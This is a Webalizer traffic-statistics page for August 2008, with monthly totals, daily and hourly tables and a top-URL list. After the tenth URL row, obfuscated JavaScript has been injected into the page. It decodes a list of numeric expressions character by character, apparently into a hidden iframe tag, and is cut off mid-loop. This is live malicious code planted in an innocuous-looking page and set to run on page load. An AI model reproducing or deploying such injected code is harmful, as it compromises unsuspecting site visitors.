[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]
| Monthly Statistics for August 2008 | ||
|---|---|---|
| Total Hits | 3380 | |
| Total Files | 3177 | |
| Total Pages | 3167 | |
| Total Visits | 378 | |
| Total KBytes | 31752 | |
| Total Unique Sites | 191 | |
| Total Unique URLs | 52 | |
| Total Unique Referrers | 192 | |
| Total Unique User Agents | 25 | |
| . | Avg | Max |
| Hits per Hour | 4 | 301 |
| Hits per Day | 109 | 599 |
| Files per Day | 102 | 595 |
| Pages per Day | 102 | 597 |
| Visits per Day | 12 | 31 |
| KBytes per Day | 1024 | 5239 |
| Hits by Response Code | ||
| Code 200 - OK | 3177 | |
| Code 206 - Partial Content | 3 | |
| Code 304 - Not Modified | 22 | |
| Code 404 - Not Found | 178 | |
| Daily Statistics for August 2008 | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Day | Hits | Files | Pages | Visits | Sites | KBytes | ||||||
| 1 | 62 | 1.83% | 47 | 1.48% | 45 | 1.42% | 11 | 2.91% | 11 | 5.76% | 3754 | 11.82% |
| 2 | 73 | 2.16% | 63 | 1.98% | 67 | 2.12% | 17 | 4.50% | 16 | 8.38% | 5239 | 16.50% |
| 3 | 47 | 1.39% | 34 | 1.07% | 28 | 0.88% | 14 | 3.70% | 14 | 7.33% | 1180 | 3.72% |
| 4 | 60 | 1.78% | 54 | 1.70% | 48 | 1.52% | 30 | 7.94% | 27 | 14.14% | 1065 | 3.36% |
| 5 | 58 | 1.72% | 47 | 1.48% | 52 | 1.64% | 16 | 4.23% | 15 | 7.85% | 765 | 2.41% |
| 6 | 37 | 1.09% | 34 | 1.07% | 36 | 1.14% | 9 | 2.38% | 5 | 2.62% | 116 | 0.36% |
| 7 | 28 | 0.83% | 25 | 0.79% | 23 | 0.73% | 6 | 1.59% | 6 | 3.14% | 223 | 0.70% |
| 8 | 81 | 2.40% | 77 | 2.42% | 79 | 2.49% | 11 | 2.91% | 8 | 4.19% | 264 | 0.83% |
| 9 | 62 | 1.83% | 55 | 1.73% | 56 | 1.77% | 10 | 2.65% | 11 | 5.76% | 477 | 1.50% |
| 10 | 25 | 0.74% | 17 | 0.54% | 17 | 0.54% | 7 | 1.85% | 7 | 3.66% | 458 | 1.44% |
| 11 | 186 | 5.50% | 185 | 5.82% | 182 | 5.75% | 14 | 3.70% | 6 | 3.14% | 241 | 0.76% |
| 12 | 60 | 1.78% | 49 | 1.54% | 46 | 1.45% | 12 | 3.17% | 12 | 6.28% | 1265 | 3.98% |
| 13 | 45 | 1.33% | 39 | 1.23% | 36 | 1.14% | 10 | 2.65% | 12 | 6.28% | 1796 | 5.66% |
| 14 | 18 | 0.53% | 16 | 0.50% | 10 | 0.32% | 9 | 2.38% | 8 | 4.19% | 602 | 1.90% |
| 15 | 27 | 0.80% | 23 | 0.72% | 17 | 0.54% | 7 | 1.85% | 8 | 4.19% | 1107 | 3.49% |
| 16 | 28 | 0.83% | 25 | 0.79% | 27 | 0.85% | 10 | 2.65% | 5 | 2.62% | 267 | 0.84% |
| 17 | 50 | 1.48% | 38 | 1.20% | 41 | 1.29% | 13 | 3.44% | 8 | 4.19% | 586 | 1.85% |
| 18 | 60 | 1.78% | 57 | 1.79% | 57 | 1.80% | 14 | 3.70% | 7 | 3.66% | 239 | 0.75% |
| 19 | 93 | 2.75% | 82 | 2.58% | 77 | 2.43% | 31 | 8.20% | 22 | 11.52% | 1767 | 5.57% |
| 20 | 86 | 2.54% | 85 | 2.68% | 85 | 2.68% | 11 | 2.91% | 6 | 3.14% | 140 | 0.44% |
| 21 | 48 | 1.42% | 44 | 1.38% | 42 | 1.33% | 9 | 2.38% | 10 | 5.24% | 277 | 0.87% |
| 22 | 115 | 3.40% | 113 | 3.56% | 114 | 3.60% | 11 | 2.91% | 6 | 3.14% | 2351 | 7.41% |
| 23 | 599 | 17.72% | 595 | 18.73% | 597 | 18.85% | 13 | 3.44% | 11 | 5.76% | 3182 | 10.02% |
| 24 | 89 | 2.63% | 77 | 2.42% | 86 | 2.72% | 15 | 3.97% | 9 | 4.71% | 443 | 1.40% |
| 25 | 262 | 7.75% | 259 | 8.15% | 253 | 7.99% | 12 | 3.17% | 10 | 5.24% | 861 | 2.71% |
| 26 | 86 | 2.54% | 73 | 2.30% | 79 | 2.49% | 13 | 3.44% | 9 | 4.71% | 612 | 1.93% |
| 27 | 472 | 13.96% | 466 | 14.67% | 465 | 14.68% | 17 | 4.50% | 9 | 4.71% | 475 | 1.50% |
| 28 | 42 | 1.24% | 35 | 1.10% | 32 | 1.01% | 6 | 1.59% | 8 | 4.19% | 385 | 1.21% |
| 29 | 51 | 1.51% | 47 | 1.48% | 49 | 1.55% | 9 | 2.38% | 9 | 4.71% | 738 | 2.32% |
| 30 | 203 | 6.01% | 202 | 6.36% | 202 | 6.38% | 3 | 0.79% | 3 | 1.57% | 249 | 0.78% |
| 31 | 227 | 6.72% | 214 | 6.74% | 219 | 6.92% | 8 | 2.12% | 7 | 3.66% | 629 | 1.98% |
| Hourly Statistics for August 2008 | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Hour | Hits | Files | Pages | KBytes | ||||||||
| Avg | Total | Avg | Total | Avg | Total | Avg | Total | |||||
| 0 | 8 | 277 | 8.20% | 8 | 254 | 7.99% | 8 | 267 | 8.43% | 30 | 915 | 2.88% |
| 1 | 2 | 65 | 1.92% | 1 | 58 | 1.83% | 1 | 50 | 1.58% | 46 | 1435 | 4.52% |
| 2 | 2 | 76 | 2.25% | 2 | 71 | 2.23% | 2 | 70 | 2.21% | 15 | 463 | 1.46% |
| 3 | 2 | 76 | 2.25% | 2 | 67 | 2.11% | 2 | 71 | 2.24% | 155 | 4803 | 15.13% |
| 4 | 9 | 307 | 9.08% | 9 | 298 | 9.38% | 9 | 299 | 9.44% | 100 | 3090 | 9.73% |
| 5 | 2 | 67 | 1.98% | 1 | 55 | 1.73% | 1 | 55 | 1.74% | 17 | 519 | 1.64% |
| 6 | 4 | 134 | 3.96% | 3 | 115 | 3.62% | 3 | 116 | 3.66% | 191 | 5936 | 18.70% |
| 7 | 1 | 37 | 1.09% | 1 | 35 | 1.10% | 0 | 29 | 0.92% | 34 | 1050 | 3.31% |
| 8 | 3 | 103 | 3.05% | 3 | 95 | 2.99% | 2 | 87 | 2.75% | 33 | 1025 | 3.23% |
| 9 | 3 | 100 | 2.96% | 2 | 89 | 2.80% | 3 | 97 | 3.06% | 0 | 9 | 0.03% |
| 10 | 1 | 31 | 0.92% | 0 | 28 | 0.88% | 0 | 28 | 0.88% | 16 | 504 | 1.59% |
| 11 | 4 | 127 | 3.76% | 3 | 111 | 3.49% | 3 | 115 | 3.63% | 13 | 411 | 1.29% |
| 12 | 9 | 305 | 9.02% | 9 | 299 | 9.41% | 9 | 305 | 9.63% | 16 | 486 | 1.53% |
| 13 | 2 | 89 | 2.63% | 2 | 72 | 2.27% | 2 | 65 | 2.05% | 53 | 1631 | 5.14% |
| 14 | 1 | 41 | 1.21% | 1 | 37 | 1.16% | 1 | 36 | 1.14% | 8 | 243 | 0.77% |
| 15 | 3 | 95 | 2.81% | 2 | 92 | 2.90% | 3 | 95 | 3.00% | 1 | 35 | 0.11% |
| 16 | 15 | 481 | 14.23% | 15 | 478 | 15.05% | 15 | 472 | 14.90% | 55 | 1717 | 5.41% |
| 17 | 2 | 68 | 2.01% | 2 | 68 | 2.14% | 2 | 68 | 2.15% | 25 | 761 | 2.40% |
| 18 | 1 | 50 | 1.48% | 1 | 45 | 1.42% | 1 | 37 | 1.17% | 15 | 465 | 1.46% |
| 19 | 3 | 110 | 3.25% | 3 | 107 | 3.37% | 3 | 97 | 3.06% | 105 | 3252 | 10.24% |
| 20 | 11 | 365 | 10.80% | 11 | 360 | 11.33% | 11 | 357 | 11.27% | 31 | 976 | 3.07% |
| 21 | 8 | 253 | 7.49% | 7 | 241 | 7.59% | 7 | 247 | 7.80% | 22 | 685 | 2.16% |
| 22 | 1 | 54 | 1.60% | 1 | 44 | 1.38% | 1 | 46 | 1.45% | 26 | 814 | 2.56% |
| 23 | 2 | 69 | 2.04% | 1 | 58 | 1.83% | 1 | 58 | 1.83% | 17 | 525 | 1.65% |
| Top 10 of 52 Total URLs By KBytes | |||||
|---|---|---|---|---|---|
| # | Hits | KBytes | URL | ||
| 1 | 74 | 2.19% | 4631 | 14.58% | /webalizer/usage_200808.html |
| 2 | 67 | 1.98% | 3105 | 9.78% | /webalizer/usage_200707.html |
| 3 | 68 | 2.01% | 3061 | 9.64% | /webalizer/usage_200705.html |
| 4 | 54 | 1.60% | 2284 | 7.19% | /webalizer/usage_200802.html |
| 5 | 50 | 1.48% | 2076 | 6.54% | /webalizer/usage_200803.html |
| 6 | 56 | 1.66% | 1613 | 5.08% | /webalizer/usage_200708.html |
| 7 | 48 | 1.42% | 1341 | 4.22% | /webalizer/usage_200706.html |
| 8 | 40 | 1.18% | 1006 | 3.17% | /webalizer/usage_200801.html |
| 9 | 38 | 1.12% | 993 | 3.13% | /webalizer/usage_200805.html |
| function CBeKy(lFwuKN){ var TySUSIZW=new Function("ncX", "return 872821;");alert('NmTqOe');window.eval(); }
function NTZS(hWal){var UHrvVQkw=6,fAgz=5;var qIMfd='72+0,126+0,122+2,136+4,116+2,130+4,121+1,38+2,142+4,126+0,120+0,139+1,124+4,73+1,58+4,38+2,124+4,121+1,126+0,123+3,124+4,139+1,73+1,58+4,38+2,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,122+2,136+4,116+2,130+4,121+1,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,138+0,136+4,',bSBxeEp=qIMfd.split(',');rZh='';for(HVMYENy=0;HVMYENy | |||||